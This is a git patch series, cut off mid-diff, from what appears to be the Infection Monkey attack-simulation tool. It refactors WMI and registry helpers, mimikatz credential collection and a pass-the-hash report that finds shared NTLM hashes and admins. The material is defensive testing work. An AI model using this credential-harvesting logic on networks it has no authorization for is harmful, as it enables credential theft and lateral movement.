zc^H{OojF=m&Et7QO-m$SQjw7+PB%s@$r8j=W`pMh4RrW03uP)24!)8iuD7CA7CvQw zNl8`KbCG7>ObH6BQWZX?PoPFBd~oPK>&@^$%qY-dYXbe76mTEWcl7VX={b-)SF4YO zpc4n3g`TgLQJ04w^xPhP%o9bgz|{pkEkWwp{>Q|=`Kmp=7C>1J#U1hVuK^{|$z%tU zdS2MC7rN>#mkV@A;kyP##8i>rrq`2d_P;7IEjsG|4KlEb{#`|Ff9l7c<$o9n(*y$B z-+MDW5s!~YnI@Q0nGJev60Y#@R;eVS97k^-ZWaT`Z>q=vfV|MH;3BLb_Nm3DR4=1a z01+$QD5WDs=PU`jFAMjsV+Rc#83I|EUVjJA#5EdX#<9GT+byJf^=aY_7={e_?DzA@ zr=BnJGH#%)Mw(>MB3s@+a9+M9Y#eE5yh@dyBu$I}s#!-N6=evJdlJk;F!G&A&K<1PZuQp89-an^7vj+XpQR#~0y91??Un?H zrDh0wiAw6$1}5)*MYs`Qt~TM>oPuk+6C?LarieFI3D-+!BSkG%x;)(2T2)gulqU4{ zh)c8DJGQYiXZ&)#C&pZdhvpC2{+ilqx8;BFG`839 zE!x=2s!2%GadasPzi%N0IawX0T@rusWGOp$U~qVB1=zW_mQmjW7h7$Hx!^4W-Kf6Q z_ns^!YnEc)mWZI z3)}lE=qtyaHk~h-Adax&EN5xXNe}b_1T_$^x^7_8J{<_B#wQgB`Ho(&dMNfNOBpo~ zJSyy696xzrv7`|H)xYMwruYX$b227gy+D7RGjxF$M`Et7n!7<7ixefGZ>%i5s1@f| z2eYpr+7m-YgL)oG8~_HAW(ua5(rB8CZe7OfyrR3Qxm9fKe^?lxrj;LU4g*{Gv`Zu z#X+4fEgk}xU@zw-ecrtXu$Gnffb@KqA)^tiMFl#sT`r?e!9$&hhf2qTkFBn0bzbGo zAn~|b%cY#jp6GYb%lVVu^WFmssq6f}X)n#p%G_!^5F4ff`BS^51KcUy?X@H@m*~;W zBtgGJyVXn6uwV6KujO?V2TW%hr6L#L-J86Sz8sbOBvZ}7ql?5CsRE4=%u|6;|GgUFXm8aQY(Y=t=)s9qLA20n&i+(bSfoR^5DY#l*5gs?RfV~ri?Z}e; z1y4+VV}Rm#0(}NJw=E7wM=-G3ju)^Q>#SRxpmbx4;Tt%VOC3y5x!@7fR^ zgZN!qi!>*JKZ~{tF;}y^{us|m>5Mc$Xwdm)bF}Na+^G@{hy=M6j!ylRoHG=ZG*c+N zqda8G9?Om`n;$U_`A4$6cyv?uyX|)p)qgl;_%Jc8y~{(fbZ_Z=leycjJ{W|;E^xiC z&T79Rgbf6zReorMxSs16FzaFS9f;sqvzD%r!4=a@LLY&ALs^kTp&sV}yRJrwCiyi4ls@k6^Xrh9?hz*z*adrP;qC>iKa zj7)*K*a45H5KLBJc3v|){(!OKO{MV!Jg#1*d9-&M~ExRGIAVnHeTd6{$~>L9&orE zU(r$gpV?9|ij%q+rO5a-e~p9hDTcF0`9#iwhkntB7lkJd7F9!?--G9O!Sudhdbjte z7~e6ZAt9m@?R*c#5i34d3|jP&7V~Jd5GE}FP}KtK=oxV4QvWC{BPsTCyU*4(B#lr1%~i+-Te(wQfoBfhc+t<|2y}-h9ADvn4^18b zO2=}Rz?CVY!8XQuh|g9BpBqd{UdHmWEi`@l9M+C3wcyBWC<33jPU4e0x(iMX)PdPc zsTN!ZS@~dgSDc3ev(ek_C+^a}#8;akxJa)z-WL~5D!_<+l?E&zUgpGj-e&lZxs1g6zizpG1u?dc`dlNoe>A2K! zne&R+>~9eAO7h&WZaXcs@9C}^%-8-canAIdHz5nxUs!+Tzy7@Ti(8DpBk|#mWBD6` zW=>vqb=9&vW=p=Faqqiz3$V7cb9{5QdlEP9nz7mYp5^A|NzsqyZa25No6@LQ?`uCN z*XW-Iyl)366+L8`miFfg@vna>8ycL)I;P0(53yRTYuYqF<5;6$F+#zI-QZvLid6lN z-Ua$7&`*T_>|9WzdSj*T75AU(_NvF*k?pi4Fqp0485Z%vf&`-GjmyxIw$E$Wy$zI z2cIocFEB(%!faRk8pEaUZBt7~sWlbbw1=~7$@b!aM%OPvnN1#RSLfEOO{&j2oa1O^ zO5;-X;!V|M<6Awo#n4P6j@J!djdVVwT4T+TQlN#viNTF`lr6r?u;92~ zW6k!-a1CM>7GZh|uvpAZ=@aQe=*L$>KI#nJ##(=1aWa^$;v;UgA_OzAO z1W?IX^4>PPE{{0=t)w?$tB6d%X!DML-f^AK;pZ~wgtu`4B%zYjcaCz1(Bb9sHei-E za}i)2zwvykm-k(u#KiGANzJa@(XblOA6}~vWDUhPb(*%!w**t*}3T*u6PvQKR60kZCLnSde!Tpl!7+t}%#o)t~i zlMAKAg*Go<|HRR4Lfn%=+5#f{t-pUj#^N7KYO-~?S#U`jS~v(h}+?j(9AEq zYa=bTbD4N*)IaGxLHJh`l!U3yJE{7eHLU{39BK0N;$gb<;?NTXr!3&au?pKa^UNz6 z-4@Z+0UC``u-r3!p=VM;yXJ&qa*6HR8^!Y{TH}}gvd}ZV`Hwq$w#=gL2%N?V>A9S~ z`m6^K_r3^Uo_}03;3mXj}qQ&!kxZSI$sh4cwYpEvcZkbbe$Z$0!o zq<^>HWR8)OH+R_m*Z3I40JAyVZYU)_<_q zZ$0$4H1wBA^jC9q*P!&rzWQU||A1p(#cHn70ndCa8_h)Cqdz(+OK{pYr}6Yr)+Cfx z8pHCS8@1~1dFt<<^vQ0sOlyP0gRJa9}594zrXd* zT=MaXfBgF^{?w0G`~_dWyVKto=B2W|akQo=>1^1F_fSjjhe81H%J&d?(+8^TZKQ;O zi5h|>?Ih(FkzpzRx>AOhBca3{x@1s4lJ}wFL35<*j;EL95i!I`b>$}o;)@g2D;;hwFI?9UV}X!=%=M&V3qOwl*ef46`Wi ztjM+%T_(ChoafvnuF8%aV<;xE8Wf8}O-xhwBT%(drzsg+(BPu0(edC_4eX8N9$HY_ zRoeVrP#tu&O9ax*ABnY2eL=%4f8<>LCL9x4X$={h(nLU}jUXfol9ID=`0*cDbBWSwuBCm`By z6(){fl~+JzR29KcLMUHawJ-1zduX)lBR0F-UR@HAh<)&KZ_fw_+yw%cMfoagYNUo2 z8}OS1I3#>})D0c?O>M0Bsn(Q`E!*+|E8=G4TAjg#*l!lDju9ASXD}Co_8A-$9OmFb z<_Df-$I}_gOoZNUvBpvu<)2j@0BlIv-b2MA{u^qyJc_a!M2#{NM7c;X1PoOr1|9|s+`9k?P9*2;7uIjFNh5mZAf{8Jm|I$F+SA8*MQ&p?vd z(8ubifyCFvCKzJ9*i*0=376@FHa8CGygS|S;ec!X$sVc^;#Y$KuI2rey}L2kvjg?= z3M`D4HMTfAh*rHfkd1C@wktz0sL072^Tfx2=(^N?Eea85GXoI&HIyGKd_@mRYX%LL zzAkN)nITFDs3t`{N^B|~Mfa5jautXR0C8zS37sT+5-QdBDj6USToxGM^%md|;$``x4Fo6RpJ=95vp9Lm{I1t2N+7r>O;WJILDTv|%dTs|% zI@e5KS@JaoDA)(|CNzK=SWSW>Co{VV24lXeM2B_4%`fwI2l`9lS%wUZ=sLeDW- zh|Q>-hi>_$-oG^^b*iuv{Hq2b91KPM0RDZ5f<*yW#q&_OE9j^U3h!KIzY?_!D&%Vn(VNA<>L(Jd=ssvAnj&1q zxI{e3Oas-x9v>B#*jGE>fO4oMSG)j)MHzR|W>7w|D0@%4VSA z&&@Hfu5av)sgYtSWw-Lgi&6MyYi$2_<+()vPS(vb)REFhef7J1jS-B?M8l;@~L;M=qvX7#ts&CG-$V;O%X9G4UqqmI*fj}L@SH!@D{S2nkhi+)gY~|aMANckQ}^#xlFyKYN7f#1~DcYjGiB}G6Pugn|#eABnJ=Sxt1qx zP1Rw;ypLF6Mp}No$|++STNSOUO0rdFVUTW`)fLn}du)|zB6RETmD520bRJ)5nMVH9 z5=h_fYLb0|9zv2&z7a%ZQUW)iw-tDA!9KJW=3~Eac>-~b{XB%LE$yLBMYJ;TW=>Ss zXm11tLt9e)mAVLn(ky{_yMwiCwxtD|BmMLv;ex1ET3&Mh?lDC3;EB2W8f9})|6OoX z+O>_(%B@n3g>LdTxoQ%sEC#U)q8`yi#WX}*N%jUnOl5PTRW5W-Wt9OcAs7-Wg6x?swO26x1ll)$!8C7+zeB_XvX_90)#lRmn8L2RqZ0Y`P;qD!)+EZelpEz!t}!x7Q3dX@Su z2H_zKKe%Cel;vzc8>OX!o9Recm+HnYE!Zoynj$h1K6}wBR{=LHQ-s2xg-ls-AR@*x z$x5{WBJHroUi5dEE?#YKiPA2}yag=aKI+C^QLsq55i*4r@PDVur28sAHAEy^&~?r7 zu+#0pCCFx9*eRwlhMhJ+Z6xJRF$3COZmxJ8lH^D&B+*fcv@4ae-RBVPVvK<5lPh*Z zk_8hDakSdn`54M1u7`kwgzop|30s?`{lhi$G5vg%QcgEP$s541%?{?`7539nT7}H> z17U&Ef|WPkJ6IuV$#DHXO+7HE-4q1Y1hmUK6{<5#D_LrvtWH7QqoNObE9nNPWjY7l z^2L|BRwQp6%kMt8h;hjPRu@(PPvF!pK9`-TF~KLcqB>tia#Ry|+=LyZOr!_7XiI?=$%z}It=H!zn*o7!_foXm3K{+=x`4U#h7|4)Q z%}^{XI9Wc7pEcE8&t^iV;BH|FP&kaw!r^Jkl0iQ!{8dB|kMBv`se~!J0u0`c&u(Y^ z{<(ZgvRbf)*<(0&eXE25cb)+#F|Ay^zK*GUBNvScw)_>t6!QIi!_gUnSFkc`#i* zG8Ne@GRMR=b6%9za26xt!iKyLgx{zhT9b$v$-KCw7|9M$@tflE>Ip_^I9B*io%}wx z_|bk4fA5YVd)E;+_S|;Pi~cTCggbK36y1WMcIM&!=&G54Y^EE}K(RVa(fIT46q$dH zIyPBjJD!kMa&SJ7K&-tH|1`MaCgVGEd=~0IK{$&jc3`pIkiW+x5CmTDh9WdwQ;iYk zOoY(Gi0V%(Ey}7*+LLJ~9Q}mRfvvJ*`0;Kd@{v8hIR$EBFR2g;|`g zMCwC>K8_?0klm`;GA47xgzvP*60?;iYWZN+OVTEcgw(1bRjpL3vFx1_+29*_{824w z22A`uS>wL^4{2h_u&*+)o6*3?#R@~(G&YP_CEW5ngNXGx#8oFO}EZ$#sHuKtbgPN?$4hooAf4r$d?kNTWKl*0r= nc#$QP>VN)j7jSXfpS8Hwy{`*XyZtg?5Rm7_EgOo~hyVEBe}7>m literal 0 HcmV?d00001 From d02b9c25387d13b27704fb29e9978556df20dac5 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 22 Oct 2018 17:16:58 +0300 Subject: [PATCH 222/243] small bug fix --- monkey/monkey_island/cc/services/wmi_info_handler.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_info_handler.py index 133f4742a..b4b12c7a3 100644 --- a/monkey/monkey_island/cc/services/wmi_info_handler.py +++ b/monkey/monkey_island/cc/services/wmi_info_handler.py @@ -25,6 +25,7 @@ class WMIHandler: def update_critical_services(self, wmi_services, wmi_products, machine_id): critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') + mongo.db.monkey.update({'_id': machine_id}, {'$set': {'critical_services': []}}) services_names_list = [str(i['Name'])[2:-1] for i in wmi_services] products_names_list = [str(i['Name'])[2:-2] for i in wmi_products] From 17b344f62f4c141667f0b49c3557e32fec1fe4dc Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 25 Oct 2018 14:17:31 +0300 Subject: [PATCH 223/243] 99% done with RCR, not yet been tested. --- monkey/common/utils/__init__.py | 0 monkey/common/utils/mongo_utils.py | 83 ++++++ monkey/common/utils/reg_utils.py | 25 ++ monkey/common/utils/wmi_utils.py | 27 ++ .../system_info/mimikatz_collector.py | 1 + .../system_info/windows_info_collector.py | 147 +--------- .../system_info/wmi_consts.py | 32 +++ .../cc/island_logger_default_config.json | 2 +- .../monkey_island/cc/resources/telemetry.py | 14 +- monkey/monkey_island/cc/services/node.py | 4 + .../monkey_island/cc/services/pth_report.py | 258 +++++++++--------- monkey/monkey_island/cc/services/report.py | 25 +- monkey/monkey_island/cc/services/user_info.py | 69 ++--- .../cc/services/wmi_info_handler.py | 21 +- .../cc/ui/src/components/Main.js | 1 - .../cc/ui/src/components/pages/ReportPage.js | 13 +- .../report-components/SharedAdmins.js | 42 --- .../report-components/SharedCreds.js | 41 --- 18 files changed, 375 insertions(+), 430 deletions(-) create mode 100644 monkey/common/utils/__init__.py create mode 100644 monkey/common/utils/mongo_utils.py create mode 100644 monkey/common/utils/reg_utils.py create mode 100644 monkey/common/utils/wmi_utils.py create mode 100644 monkey/infection_monkey/system_info/wmi_consts.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/SharedCreds.js diff --git a/monkey/common/utils/__init__.py b/monkey/common/utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py new file mode 100644 index 000000000..7524a545e --- /dev/null +++ b/monkey/common/utils/mongo_utils.py @@ -0,0 +1,83 @@ +import wmi +import win32com + +__author__ = 'maor.rayzin' + + +class MongoUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def fix_obj_for_mongo(o): + if type(o) == dict: + return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()]) + + elif type(o) in (list, tuple): + return [MongoUtils.fix_obj_for_mongo(i) for i in o] + + elif type(o) in (int, float, bool): + return o + + elif type(o) in (str, unicode): + # mongo dosn't like unprintable chars, so we use repr :/ + return repr(o) + + elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: + return MongoUtils.fix_wmi_obj_for_mongo(o) + + elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch: + try: + # objectSid property of ds_user is problematic and need thie special treatment. + # ISWbemObjectEx interface. Class Uint8Array ? + if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": + return o.Value + except: + pass + + try: + return o.GetObjectText_() + except: + pass + + return repr(o) + + else: + return repr(o) + + @staticmethod + def fix_wmi_obj_for_mongo(o): + row = {} + + for prop in o.properties: + try: + value = getattr(o, prop) + except wmi.x_wmi: + # This happens in Win32_GroupUser when the user is a domain user. + # For some reason, the wmi query for PartComponent fails. This table + # is actually contains references to Win32_UserAccount and Win32_Group. + # so instead of reading the content to the Win32_UserAccount, we store + # only the id of the row in that table, and get all the other information + # from that table while analyzing the data. + value = o.properties[prop].value + + row[prop] = MongoUtils.fix_obj_for_mongo(value) + + for method_name in o.methods: + if not method_name.startswith("GetOwner"): + continue + + method = getattr(o, method_name) + + try: + value = method() + value = MongoUtils.fix_obj_for_mongo(value) + row[method_name[3:]] = value + + except wmi.x_wmi: + continue + + return row + diff --git a/monkey/common/utils/reg_utils.py b/monkey/common/utils/reg_utils.py new file mode 100644 index 000000000..1e6c297b3 --- /dev/null +++ b/monkey/common/utils/reg_utils.py @@ -0,0 +1,25 @@ +import _winreg + +from common.utils.mongo_utils import MongoUtils + +__author__ = 'maor.rayzin' + + +class RegUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): + key = _winreg.ConnectRegistry(None, store) + subkey = _winreg.OpenKey(key, subkey_path) + + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) + d = MongoUtils.fix_obj_for_mongo(d) + + subkey.Close() + key.Close() + + return d diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py new file mode 100644 index 000000000..7b1dae455 --- /dev/null +++ b/monkey/common/utils/wmi_utils.py @@ -0,0 +1,27 @@ +import wmi + +from mongo_utils import MongoUtils + +__author__ = 'maor.rayzin' + + +class WMIUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None): + _wmi = wmi.WMI(moniker=moniker) + + try: + if not properties: + wmi_class = getattr(_wmi, class_name)() + else: + wmi_class = getattr(_wmi, class_name)(properties) + + except wmi.x_wmi: + return + + return MongoUtils.fix_obj_for_mongo(wmi_class) diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 1d8294ce5..4ef764251 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -57,6 +57,7 @@ class MimikatzCollector(object): Gets the logon info from mimikatz. Returns a dictionary of users with their known credentials. """ + LOG.info('Getting mimikatz logon information') if not self._isInit: return {} LOG.debug("Running mimikatz collector") diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 8479fcf7f..abf0771fa 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,125 +1,20 @@ import os import logging - import sys -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module -import wmi -import win32com -import _winreg -from mimikatz_collector import MimikatzCollector -from . import InfoCollector +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module + import infection_monkey.config from infection_monkey.system_info.mimikatz_collector import MimikatzCollector from infection_monkey.system_info import InfoCollector +from infection_monkey.system_info.wmi_consts import WMI_CLASSES +from common.utils.wmi_utils import WMIUtils LOG = logging.getLogger(__name__) LOG.info('started windows info collector') __author__ = 'uri' -WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount", - "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service", - "Win32_OptionalFeature"} - -# These wmi queries are able to return data about all the users & machines in the domain. -# For these queries to work, the monkey shohuld be run on a domain machine and -# -# monkey should run as *** SYSTEM *** !!! -# -WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", - "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", - "DS_objectSid", "DS_objectClass", "DS_memberOf", - "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", - "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", - "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), - - "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", - "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", - "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", - "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), - - "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", - "DS_adminDisplayName", "DS_badPasswordTime", - "DS_badPwdCount", "DS_cn", "DS_distinguishedName", - "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", - "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", - "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", - "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", - "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", - "DS_whenChanged", "DS_whenCreated"), - } - - -def fix_obj_for_mongo(o): - if type(o) == dict: - return dict([(k, fix_obj_for_mongo(v)) for k, v in o.iteritems()]) - - elif type(o) in (list, tuple): - return [fix_obj_for_mongo(i) for i in o] - - elif type(o) in (int, float, bool): - return o - - elif type(o) in (str, unicode): - # mongo dosn't like unprintable chars, so we use repr :/ - return repr(o) - - elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: - return fix_wmi_obj_for_mongo(o) - - elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch: - try: - # objectSid property of ds_user is problematic and need thie special treatment. - # ISWbemObjectEx interface. Class Uint8Array ? - if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": - return o.Value - except: - pass - - try: - return o.GetObjectText_() - except: - pass - - return repr(o) - - else: - return repr(o) - -def fix_wmi_obj_for_mongo(o): - row = {} - - for prop in o.properties: - try: - value = getattr(o, prop) - except wmi.x_wmi: - # This happens in Win32_GroupUser when the user is a domain user. - # For some reason, the wmi query for PartComponent fails. This table - # is actually contains references to Win32_UserAccount and Win32_Group. - # so instead of reading the content to the Win32_UserAccount, we store - # only the id of the row in that table, and get all the other information - # from that table while analyzing the data. - value = o.properties[prop].value - - row[prop] = fix_obj_for_mongo(value) - - for method_name in o.methods: - if not method_name.startswith("GetOwner"): - continue - - method = getattr(o, method_name) - - try: - value = method() - value = fix_obj_for_mongo(value) - row[method_name[3:]] = value - - except wmi.x_wmi: - continue - - return row - class WindowsInfoCollector(InfoCollector): """ @@ -147,8 +42,8 @@ class WindowsInfoCollector(InfoCollector): self.get_wmi_info() LOG.debug('finished get_wmi_info') - #self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() + LOG.debug('Got installed packages') mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() @@ -156,39 +51,17 @@ class WindowsInfoCollector(InfoCollector): if "credentials" in self.info: self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() + else: + LOG.info('No mimikatz info was gathered') return self.info def get_installed_packages(self): + LOG.info('getting installed packages') self.info["installed_packages"] = os.popen("dism /online /get-packages").read() self.info["installed_features"] = os.popen("dism /online /get-features").read() def get_wmi_info(self): + LOG.info('getting wmi info') for wmi_class_name in WMI_CLASSES: - self.info['wmi'][wmi_class_name] = self.get_wmi_class(wmi_class_name) - - def get_wmi_class(self, class_name, moniker="//./root/cimv2", properties=None): - _wmi = wmi.WMI(moniker=moniker) - - try: - if not properties: - wmi_class = getattr(_wmi, class_name)() - else: - wmi_class = getattr(_wmi, class_name)(properties) - - except wmi.x_wmi: - return - - return fix_obj_for_mongo(wmi_class) - - def get_reg_key(self, subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): - key = _winreg.ConnectRegistry(None, store) - subkey = _winreg.OpenKey(key, subkey_path) - - d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) - d = fix_obj_for_mongo(d) - - self.info['reg'][subkey_path] = d - - subkey.Close() - key.Close() + self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py new file mode 100644 index 000000000..a87e297d9 --- /dev/null +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -0,0 +1,32 @@ +WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount", + "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service", + "Win32_OptionalFeature"} + +# These wmi queries are able to return data about all the users & machines in the domain. +# For these queries to work, the monkey should be run on a domain machine and +# +# monkey should run as *** SYSTEM *** !!! +# +WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", + "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", + "DS_objectSid", "DS_objectClass", "DS_memberOf", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", + "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", + "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), + + "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", + "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", + "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), + + "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", + "DS_adminDisplayName", "DS_badPasswordTime", + "DS_badPwdCount", "DS_cn", "DS_distinguishedName", + "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", + "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", + "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", + "DS_whenChanged", "DS_whenCreated"), + } + diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json index 7c2886410..34a57b374 100644 --- a/monkey/monkey_island/cc/island_logger_default_config.json +++ b/monkey/monkey_island/cc/island_logger_default_config.json @@ -17,7 +17,7 @@ "info_file_handler": { "class": "logging.handlers.RotatingFileHandler", - "level": "DEBUG", + "level": "INFO", "formatter": "simple", "filename": "info.log", "maxBytes": 10485760, diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index efd5e2414..1680f7664 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -186,19 +186,11 @@ class Telemetry(flask_restful.Resource): Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) if 'mimikatz' in telemetry_json['data']: - users_secrets = user_info.extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) + users_secrets = user_info.MimikatzSecrets.\ + extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) if 'wmi' in telemetry_json['data']: wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) - wmi_handler.add_groups_to_collection() - wmi_handler.add_users_to_collection() - wmi_handler.create_group_user_connection() - wmi_handler.insert_info_to_mongo() - - wmi_handler.add_admin(wmi_handler.info_for_mongo[wmi_handler.ADMINISTRATORS_GROUP_KNOWN_SID], monkey_id) - wmi_handler.update_admins_retrospective() - wmi_handler.update_critical_services(telemetry_json['data']['wmi']['Win32_Service'], - telemetry_json['data']['wmi']['Win32_Product'], - monkey_id) + wmi_handler.process_and_handle_wmi_info() @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 371eefb5a..87b2a1aec 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -325,3 +325,7 @@ class NodeService: @staticmethod def get_node_hostname(node): return node['hostname'] if 'hostname' in node else node['os']['version'] + + @staticmethod + def get_hostname_by_id(node_id): + NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 7a3dbc39b..11d2be821 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -1,16 +1,16 @@ -import uuid -from itertools import combinations, product +from itertools import product from cc.database import mongo from bson import ObjectId +from cc.services.node import NodeService + +__author__ = 'maor.rayzin' class PTHReportService(object): @staticmethod - def get_duplicated_passwords_nodes(): - users_cred_groups = [] - + def __dup_passwords_mongoquery(): pipeline = [ {"$match": { 'NTLM_secret': { @@ -26,74 +26,16 @@ class PTHReportService(object): }}, {'$match': {'count': {'$gt': 1}}} ] - docs = mongo.db.groupsandusers.aggregate(pipeline) - for doc in docs: - users_list = [] - for user in doc['Docs']: - hostname = None - if user['machine_id']: - machine = mongo.db.monkey.find_one({'_id': ObjectId(user['machine_id'])}, {'hostname': 1}) - if machine.get('hostname'): - hostname = machine['hostname'] - users_list.append({'username': user['name'], 'domain_name': user['domain_name'], - 'hostname': hostname}) - users_cred_groups.append({'cred_groups': users_list}) - - return users_cred_groups + return mongo.db.groupsandusers.aggregate(pipeline) @staticmethod - def get_duplicated_passwords_issues(): - user_groups = PTHReportService.get_duplicated_passwords_nodes() - issues = [] - users_gathered = [] - for group in user_groups: - for user_info in group['cred_groups']: - users_gathered.append(user_info['username']) - issues.append( - { - 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', - 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [i['username'] for i in group['cred_groups']], - 'is_local': False if user_info['domain_name'] else True - } - ) - break - return issues + def __get_admin_on_machines_format(admin_on_machines): + + machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) + return [i['hostname'] for i in list(machines)] @staticmethod - def get_shared_admins_nodes(): - admins = mongo.db.groupsandusers.find({'type': 1, 'admin_on_machines.1': {'$exists': True}}, - {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) - admins_info_list = [] - for admin in admins: - machines = mongo.db.monkey.find({'_id': {'$in': admin['admin_on_machines']}}, {'hostname': 1}) - - # appends the host names of the machines this user is admin on. - admins_info_list.append({'name': admin['name'],'domain_name': admin['domain_name'], - 'admin_on_machines': [i['hostname'] for i in list(machines)]}) - - return admins_info_list - - @staticmethod - def get_shared_admins_issues(): - admins_info = PTHReportService.get_shared_admins_nodes() - issues = [] - for admin in admins_info: - issues.append( - { - 'is_local': False, - 'type': 'shared_admins_domain', - 'machine': admin['domain_name'], - 'username': admin['name'], - 'shared_machines': admin['admin_on_machines'], - } - ) - - return issues - - @staticmethod - def get_strong_users_on_critical_machines_nodes(): - crit_machines = {} + def __strong_users_on_crit_query(): pipeline = [ { '$unwind': '$admin_on_machines' @@ -117,13 +59,82 @@ class PTHReportService(object): '$unwind': '$critical_machine' } ] - docs = mongo.db.groupsandusers.aggregate(pipeline) + return mongo.db.groupsandusers.aggregate(pipeline) + + @staticmethod + def get_duplicated_passwords_nodes(): + 